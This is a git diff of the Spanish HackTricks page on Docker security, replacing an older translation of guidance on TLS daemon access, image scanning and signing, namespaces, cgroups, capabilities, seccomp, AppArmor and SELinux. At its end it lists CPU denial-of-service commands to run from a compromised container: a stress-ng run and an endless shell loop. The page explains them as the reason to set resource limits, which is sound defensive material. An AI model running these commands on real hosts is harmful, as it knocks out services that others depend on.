|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,63 +1,65 @@
|
|||
# Seguridad de Docker
|
||||
# Seguridad en Docker
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **Seguridad básica del motor de Docker**
|
||||
## **Seguridad Básica del Motor Docker**
|
||||
|
||||
El motor de Docker se encarga de ejecutar y gestionar los contenedores. El motor de Docker utiliza características del kernel de Linux como **Namespaces** y **Cgroups** para proporcionar un aislamiento básico entre los contenedores. También utiliza características como **la eliminación de capacidades**, **Seccomp** y **SELinux/AppArmor para lograr un mejor aislamiento**.
|
||||
El motor Docker realiza la tarea de ejecutar y gestionar Contenedores. Utiliza características del kernel de Linux como **Namespaces** y **Cgroups** para proporcionar **aislamiento** básico entre Contenedores. También utiliza características como **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor para lograr un mejor aislamiento**.
|
||||
|
||||
Por último, se puede utilizar un **plugin de autenticación** para **limitar las acciones** que los usuarios pueden realizar.
|
||||
Finalmente, se puede utilizar un **plugin de autenticación** para **limitar las acciones** que los usuarios pueden realizar.
|
||||
|
||||
![](<../../../.gitbook/assets/image (625) (1) (1).png>)
|
||||
|
||||
### **Acceso seguro al motor de Docker**
|
||||
### **Acceso seguro al motor Docker**
|
||||
|
||||
El cliente de Docker puede acceder al motor de Docker **localmente utilizando un socket Unix o de forma remota utilizando http**. Para utilizarlo de forma remota, es necesario utilizar https y **TLS** para garantizar la confidencialidad, integridad y autenticación.
|
||||
El cliente Docker puede acceder al motor Docker **localmente usando socket Unix o remotamente usando http**. Para usarlo remotamente, es necesario utilizar https y **TLS** para asegurar la confidencialidad, integridad y autenticación.
|
||||
|
||||
De forma predeterminada, Docker escucha en el socket Unix `unix:///var/`\
|
||||
`run/docker.sock` y en las distribuciones de Ubuntu, las opciones de inicio de Docker se especifican en `/etc/default/docker`. Para permitir que la API y el cliente de Docker accedan al motor de Docker de forma remota, es necesario **exponer el demonio de Docker utilizando un socket http**. Esto se puede hacer mediante:
|
||||
Por defecto escucha en el socket Unix `unix:///var/`\
|
||||
`run/docker.sock` y en distribuciones de Ubuntu, las opciones de inicio de Docker se especifican en `/etc/default/docker`. Para permitir que la API de Docker y el cliente accedan al motor Docker remotamente, necesitamos **exponer el demonio de Docker usando socket http**. Esto se puede hacer mediante:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
|
||||
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
|
||||
Sudo service docker restart -> Restart Docker daemon
|
||||
```
|
||||
Exponer el demonio de Docker utilizando http no es una buena práctica y es necesario asegurar la conexión utilizando https. Hay dos opciones: la primera opción es que el **cliente verifique la identidad del servidor** y la segunda opción es que **tanto el cliente como el servidor verifiquen la identidad del otro**. Los certificados establecen la identidad de un servidor. Para un ejemplo de ambas opciones, [**consulta esta página**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
Exponer el daemon de Docker usando http no es una buena práctica y es necesario asegurar la conexión usando https. Hay dos opciones: la primera opción es que el **cliente verifique la identidad del servidor** y en la segunda opción **tanto el cliente como el servidor verifican la identidad del otro**. Los certificados establecen la identidad de un servidor. Para un ejemplo de ambas opciones [**consulta esta página**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
### **Seguridad de la imagen del contenedor**
|
||||
|
||||
Las imágenes de los contenedores se almacenan en un repositorio privado o en un repositorio público. A continuación se presentan las opciones que Docker proporciona para almacenar imágenes de contenedores:
|
||||
Las imágenes de contenedores se almacenan ya sea en un repositorio privado o público. A continuación se presentan las opciones que Docker ofrece para almacenar imágenes de contenedores:
|
||||
|
||||
* [Docker hub](https://hub.docker.com) - Este es un servicio de registro público proporcionado por Docker.
|
||||
* [Docker registry](https://github.com/%20docker/distribution) - Este es un proyecto de código abierto que los usuarios pueden utilizar para alojar su propio registro.
|
||||
* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) - Esta es la implementación comercial de Docker del registro de Docker y proporciona autenticación de usuario basada en roles junto con la integración del servicio de directorio LDAP.
|
||||
* [Docker hub](https://hub.docker.com) – Este es un servicio de registro público proporcionado por Docker.
|
||||
* [Docker registry](https://github.com/%20docker/distribution) – Este es un proyecto de código abierto que los usuarios pueden utilizar para alojar su propio registro.
|
||||
* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – Esta es la implementación comercial de Docker registry por parte de Docker y proporciona autenticación de usuario basada en roles junto con la integración del servicio de directorio LDAP.
|
||||
|
||||
### Escaneo de imágenes
|
||||
### Escaneo de Imágenes
|
||||
|
||||
Los contenedores pueden tener **vulnerabilidades de seguridad** debido a la imagen base o al software instalado encima de la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza un escaneo de seguridad de los contenedores y enumera las vulnerabilidades. Nautilus funciona comparando cada capa de la imagen del contenedor con el repositorio de vulnerabilidades para identificar agujeros de seguridad.
|
||||
Los contenedores pueden tener **vulnerabilidades de seguridad** ya sea debido a la imagen base o debido al software instalado encima de la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza escaneos de seguridad de Contenedores y enumera las vulnerabilidades. Nautilus funciona comparando cada capa de la imagen del Contenedor con el repositorio de vulnerabilidades para identificar fallos de seguridad.
|
||||
|
||||
Para obtener más [**información, lee esto**](https://docs.docker.com/engine/scan/).
|
||||
Para más [**información lee esto**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
El comando **`docker scan`** te permite escanear imágenes de Docker existentes utilizando el nombre o ID de la imagen. Por ejemplo, ejecuta el siguiente comando para escanear la imagen hello-world:
|
||||
El comando **`docker scan`** te permite escanear imágenes de Docker existentes usando el nombre o ID de la imagen. Por ejemplo, ejecuta el siguiente comando para escanear la imagen hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -85,24 +87,24 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
|
|||
```bash
|
||||
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
```
|
||||
### Firma de imágenes de Docker
|
||||
### Firma de Imágenes Docker
|
||||
|
||||
Las imágenes de contenedor de Docker pueden almacenarse en un registro público o privado. Es necesario **firmar** las imágenes de contenedor para poder confirmar que no han sido manipuladas. El **editor** de contenido se encarga de **firmar** la imagen de contenedor y enviarla al registro.\
|
||||
A continuación se detallan algunos aspectos sobre la confianza en el contenido de Docker:
|
||||
Las imágenes de contenedores Docker pueden almacenarse en un registro público o privado. Es necesario **firmar** las imágenes de **Contenedores** para poder confirmar que las imágenes no han sido alteradas. El **editor** de contenido se encarga de **firmar** la imagen del Contenedor y subirla al registro.\
|
||||
A continuación, algunos detalles sobre la confianza de contenido de Docker:
|
||||
|
||||
* La confianza en el contenido de Docker es una implementación del proyecto de código abierto [Notary](https://github.com/docker/notary). El proyecto de código abierto Notary se basa en el proyecto [The Update Framework (TUF)](https://theupdateframework.github.io).
|
||||
* La confianza en el contenido de Docker se habilita con `export DOCKER_CONTENT_TRUST=1`. A partir de la versión 1.10 de Docker, la confianza en el contenido no está habilitada de forma predeterminada.
|
||||
* Cuando la confianza en el contenido está habilitada, solo podemos **descargar imágenes firmadas**. Al empujar una imagen, debemos ingresar la clave de etiquetado.
|
||||
* Cuando el editor **envía** la imagen por **primera vez** usando `docker push`, es necesario ingresar una **frase de contraseña** para la **clave raíz y la clave de etiquetado**. Las demás claves se generan automáticamente.
|
||||
* Docker también ha agregado soporte para claves de hardware utilizando YubiKey y los detalles están disponibles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* La confianza de contenido de Docker es una implementación del [proyecto de código abierto Notary](https://github.com/docker/notary). El proyecto de código abierto Notary se basa en [el proyecto The Update Framework (TUF)](https://theupdateframework.github.io).
|
||||
* La confianza de contenido de Docker se **habilita** con `export DOCKER_CONTENT_TRUST=1`. A partir de la versión 1.10 de Docker, la confianza de contenido **no está habilitada por defecto**.
|
||||
* **Cuando** la confianza de contenido está **habilitada**, solo podemos **descargar imágenes firmadas**. Cuando se sube una imagen, necesitamos ingresar una clave de etiquetado.
|
||||
* Cuando el editor **sube** la imagen por **primera** **vez** usando docker push, es necesario ingresar una **frase de contraseña** para la **clave raíz y la clave de etiquetado**. Las demás claves se generan automáticamente.
|
||||
* Docker también ha añadido soporte para llaves de hardware usando Yubikey y los detalles están disponibles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
|
||||
A continuación se muestra el **error** que obtenemos cuando la **confianza en el contenido está habilitada y la imagen no está firmada**.
|
||||
A continuación, el **error** que recibimos cuando **la confianza de contenido está habilitada y la imagen no está firmada**.
|
||||
```shell-session
|
||||
$ docker pull smakam/mybusybox
|
||||
Using default tag: latest
|
||||
No trust data for latest
|
||||
```
|
||||
El siguiente resultado muestra la **imagen del contenedor que se está enviando a Docker Hub con la firma** habilitada. Dado que no es la primera vez, se solicita al usuario que ingrese solo la frase de contraseña para la clave del repositorio.
|
||||
La salida siguiente muestra la **imagen del Contenedor siendo subida a Docker hub con la firma** activada. Dado que no es la primera vez, se solicita al usuario que ingrese solo la frase de paso para la clave del repositorio.
|
||||
```shell-session
|
||||
$ docker push smakam/mybusybox:v2
|
||||
The push refers to a repository [docker.io/smakam/mybusybox]
|
||||
|
@ -113,44 +115,44 @@ v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557
|
|||
Signing and pushing trust metadata
|
||||
Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox):
|
||||
```
|
||||
Es necesario almacenar la clave de root, la clave del repositorio y la frase de contraseña en un lugar seguro. El siguiente comando se puede utilizar para hacer una copia de seguridad de las claves privadas:
|
||||
Es necesario almacenar la clave de root, la clave del repositorio, así como la frase de paso en un lugar seguro. El siguiente comando se puede utilizar para hacer una copia de seguridad de las claves privadas:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
Cuando cambié el host de Docker, tuve que mover las claves raíz y las claves del repositorio para operar desde el nuevo host.
|
||||
Cuando cambié de host de Docker, tuve que mover las claves raíz y las claves del repositorio para operar desde el nuevo host.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Características de seguridad de los contenedores
|
||||
## Características de Seguridad de Contenedores
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Resumen de las características de seguridad de los contenedores</summary>
|
||||
<summary>Resumen de Características de Seguridad de Contenedores</summary>
|
||||
|
||||
**Namespaces**
|
||||
|
||||
Los namespaces son útiles para aislar un proyecto de los demás, aislando las comunicaciones de los procesos, la red, los montajes... Es útil para aislar el proceso de Docker de otros procesos (e incluso de la carpeta /proc) para que no pueda escapar abusando de otros procesos.
|
||||
Los namespaces son útiles para aislar un proyecto de los demás, aislando comunicaciones de procesos, red, montajes... Es útil para aislar el proceso de docker de otros procesos (e incluso la carpeta /proc) para que no pueda escapar abusando de otros procesos.
|
||||
|
||||
Podría ser posible "escapar" o más exactamente **crear nuevos namespaces** utilizando el binario **`unshare`** (que utiliza la llamada al sistema **`unshare`**). Docker por defecto lo previene, pero Kubernetes no (en el momento de escribir esto).\
|
||||
Podría ser posible "escapar" o más exactamente **crear nuevos namespaces** usando el binario **`unshare`** (que utiliza la syscall **`unshare`**). Docker por defecto lo previene, pero kubernetes no (en el momento de escribir esto).\
|
||||
De todos modos, esto es útil para crear nuevos namespaces, pero **no para volver a los namespaces predeterminados del host** (a menos que tengas acceso a algún `/proc` dentro de los namespaces del host, donde podrías usar **`nsenter`** para entrar en los namespaces del host).
|
||||
|
||||
**CGroups**
|
||||
|
||||
Esto permite limitar los recursos y no afecta la seguridad del aislamiento del proceso (excepto por el `release_agent` que podría ser utilizado para escapar).
|
||||
Esto permite limitar recursos y no afecta la seguridad del aislamiento del proceso (excepto por el `release_agent` que podría ser utilizado para escapar).
|
||||
|
||||
**Eliminación de capacidades**
|
||||
**Capabilities Drop**
|
||||
|
||||
Considero que esta es una de las características **más importantes** en cuanto a la seguridad del aislamiento del proceso. Esto se debe a que sin las capacidades, incluso si el proceso se está ejecutando como root, **no podrás realizar algunas acciones privilegiadas** (porque la llamada al sistema **`syscall`** devolverá un error de permiso porque el proceso no tiene las capacidades necesarias).
|
||||
Encuentro que esta es una de las características **más importantes** en cuanto a la seguridad del aislamiento del proceso. Esto se debe a que sin las capacidades, incluso si el proceso se ejecuta como root **no podrás realizar algunas acciones privilegiadas** (porque la syscall llamada **retornará un error de permiso porque el proceso no tiene las capacidades necesarias**).
|
||||
|
||||
Estas son las **capacidades restantes** después de que el proceso elimina las demás:
|
||||
Estas son las **capacidades restantes** después de que el proceso suelte las demás:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -160,30 +162,30 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
Está habilitado de forma predeterminada en Docker. Ayuda a **limitar aún más las llamadas al sistema** que el proceso puede realizar.\
|
||||
El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
Está habilitado por defecto en Docker. Ayuda a **limitar aún más las llamadas al sistema** que el proceso puede realizar.\
|
||||
El **perfil Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker tiene una plantilla que puedes activar: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Esto permitirá reducir las capacidades, las llamadas al sistema, el acceso a archivos y carpetas...
|
||||
Esto permitirá reducir capacidades, llamadas al sistema, acceso a archivos y carpetas...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Los namespaces** son una característica del kernel de Linux que **particiona los recursos del kernel** de manera que un conjunto de **procesos ve** un conjunto de **recursos** mientras que **otro** conjunto de **procesos** ve un **conjunto diferente** de recursos. La característica funciona teniendo el mismo namespace para un conjunto de recursos y procesos, pero esos namespaces se refieren a recursos distintos. Los recursos pueden existir en múltiples espacios.
|
||||
Los **Namespaces** son una característica del kernel de Linux que **particiona los recursos del kernel** de tal manera que un conjunto de **procesos** **ve** un conjunto de **recursos** mientras que **otro** conjunto de **procesos** ve un conjunto **diferente** de recursos. La característica funciona al tener el mismo namespace para un conjunto de recursos y procesos, pero esos namespaces se refieren a recursos distintos. Los recursos pueden existir en múltiples espacios.
|
||||
|
||||
Docker utiliza los siguientes namespaces del kernel de Linux para lograr el aislamiento de los contenedores:
|
||||
Docker utiliza los siguientes Namespaces del kernel de Linux para lograr el aislamiento de Contenedores:
|
||||
|
||||
* namespace pid
|
||||
* namespace mount
|
||||
* namespace network
|
||||
* namespace ipc
|
||||
* namespace UTS
|
||||
* namespace de pid
|
||||
* namespace de montaje
|
||||
* namespace de red
|
||||
* namespace de ipc
|
||||
* namespace de UTS
|
||||
|
||||
Para **más información sobre los namespaces**, consulta la siguiente página:
|
||||
Para **más información sobre los namespaces** consulta la siguiente página:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -191,18 +193,18 @@ Para **más información sobre los namespaces**, consulta la siguiente página:
|
|||
|
||||
### cgroups
|
||||
|
||||
La característica del kernel de Linux llamada **cgroups** proporciona la capacidad de **restringir recursos como la CPU, la memoria, la E/S y el ancho de banda de red** para un conjunto de procesos. Docker permite crear contenedores utilizando la característica de cgroups, lo que permite controlar los recursos específicos del contenedor.\
|
||||
A continuación se muestra un contenedor creado con una memoria de espacio de usuario limitada a 500m, una memoria de kernel limitada a 50m, una cuota de CPU de 512 y un peso de blkioweight de 400. La cuota de CPU es una proporción que controla el uso de CPU del contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres contenedores tienen la misma cuota de CPU de 1024, cada contenedor puede utilizar hasta el 33% de la CPU en caso de conflicto de recursos de CPU. El peso de blkioweight es una proporción que controla la E/S del contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
|
||||
La característica del kernel de Linux **cgroups** proporciona la capacidad de **restringir recursos como cpu, memoria, io, ancho de banda de red entre** un conjunto de procesos. Docker permite crear Contenedores utilizando la característica cgroup que permite el control de recursos para el Contenedor específico.\
|
||||
A continuación se muestra un Contenedor creado con memoria de espacio de usuario limitada a 500m, memoria del kernel limitada a 50m, participación de cpu a 512, peso de blkioweight a 400. La participación de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma participación de CPU de 1024, cada Contenedor puede tomar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla el IO del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
Para obtener el cgroup de un contenedor, puedes hacer lo siguiente:
|
||||
Para obtener el cgroup de un contenedor puedes hacer:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
Para obtener más información, consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
[cgroups.md](cgroups.md)
|
||||
|
@ -210,9 +212,9 @@ Para obtener más información, consulta:
|
|||
|
||||
### Capacidades
|
||||
|
||||
Las capacidades permiten un **control más preciso de las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del kernel de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
|
||||
Las capacidades permiten un **control más fino de las capacidades que pueden ser permitidas** para el usuario root. Docker utiliza la característica de capacidades del kernel de Linux para **limitar las operaciones que se pueden realizar dentro de un Contenedor**, independientemente del tipo de usuario.
|
||||
|
||||
Cuando se ejecuta un contenedor de Docker, el **proceso descarta las capacidades sensibles que el proceso podría usar para escapar del aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar:
|
||||
Cuando se ejecuta un contenedor de docker, el **proceso descarta capacidades sensibles que el proceso podría usar para escapar del aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -220,7 +222,7 @@ Cuando se ejecuta un contenedor de Docker, el **proceso descarta las capacidades
|
|||
|
||||
### Seccomp en Docker
|
||||
|
||||
Esta es una característica de seguridad que permite a Docker **limitar las llamadas al sistema** que se pueden utilizar dentro del contenedor:
|
||||
Esta es una característica de seguridad que permite a Docker **limitar las llamadas al sistema** que se pueden usar dentro del contenedor:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -228,7 +230,7 @@ Esta es una característica de seguridad que permite a Docker **limitar las llam
|
|||
|
||||
### AppArmor en Docker
|
||||
|
||||
**AppArmor** es una mejora del kernel para confinar los **contenedores** a un **conjunto limitado de recursos** con **perfiles por programa**:
|
||||
**AppArmor** es una mejora del kernel para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -236,17 +238,17 @@ Esta es una característica de seguridad que permite a Docker **limitar las llam
|
|||
|
||||
### SELinux en Docker
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada **objeto del sistema de archivos** tienen una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que una **etiqueta de proceso puede hacer con todas las demás etiquetas** en el sistema.
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada objeto del **sistema de archivos** tiene una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que una **etiqueta de proceso puede hacer con todas las demás etiquetas** en el sistema.
|
||||
|
||||
Los motores de contenedores lanzan **procesos de contenedor con una única etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen que el contenedor dentro del contenedor tenga la etiqueta `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**.
|
||||
Los motores de contenedores lanzan **procesos de contenedores con una única etiqueta de SELinux confinada**, generalmente `container_t`, y luego configuran el contenedor dentro del contenedor para que esté etiquetado como `container_file_t`. Las reglas de políticas de SELinux básicamente dicen que los procesos **`container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### AuthZ y AuthN
|
||||
### AuthZ & AuthN
|
||||
|
||||
Un complemento de autorización **aprueba** o **deniega** las **solicitudes** al **daemon** de Docker en función tanto del **contexto de autenticación** actual como del **contexto de comando**. El **contexto de autenticación** contiene todos los **detalles del usuario** y el **método de autenticación**. El **contexto de comando** contiene todos los datos relevantes de la solicitud.
|
||||
Un plugin de autorización **aprueba** o **niega** **solicitudes** al **daemon** de Docker basado tanto en el contexto de **autenticación** actual como en el contexto del **comando**. El contexto de **autenticación** contiene todos los **detalles del usuario** y el **método de autenticación**. El contexto del **comando** contiene todos los datos **relevantes** de la **solicitud**.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -254,9 +256,9 @@ Un complemento de autorización **aprueba** o **deniega** las **solicitudes** al
|
|||
|
||||
## DoS desde un contenedor
|
||||
|
||||
Si no limitas adecuadamente los recursos que un contenedor puede utilizar, un contenedor comprometido podría realizar un ataque de denegación de servicio (DoS) en el host donde se está ejecutando.
|
||||
Si no estás limitando adecuadamente los recursos que un contenedor puede usar, un contenedor comprometido podría realizar un DoS al host donde se está ejecutando.
|
||||
|
||||
* DoS de CPU
|
||||
* CPU DoS
|
||||
```bash
|
||||
# stress-ng
|
||||
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
|
||||
|
@ -264,21 +266,13 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
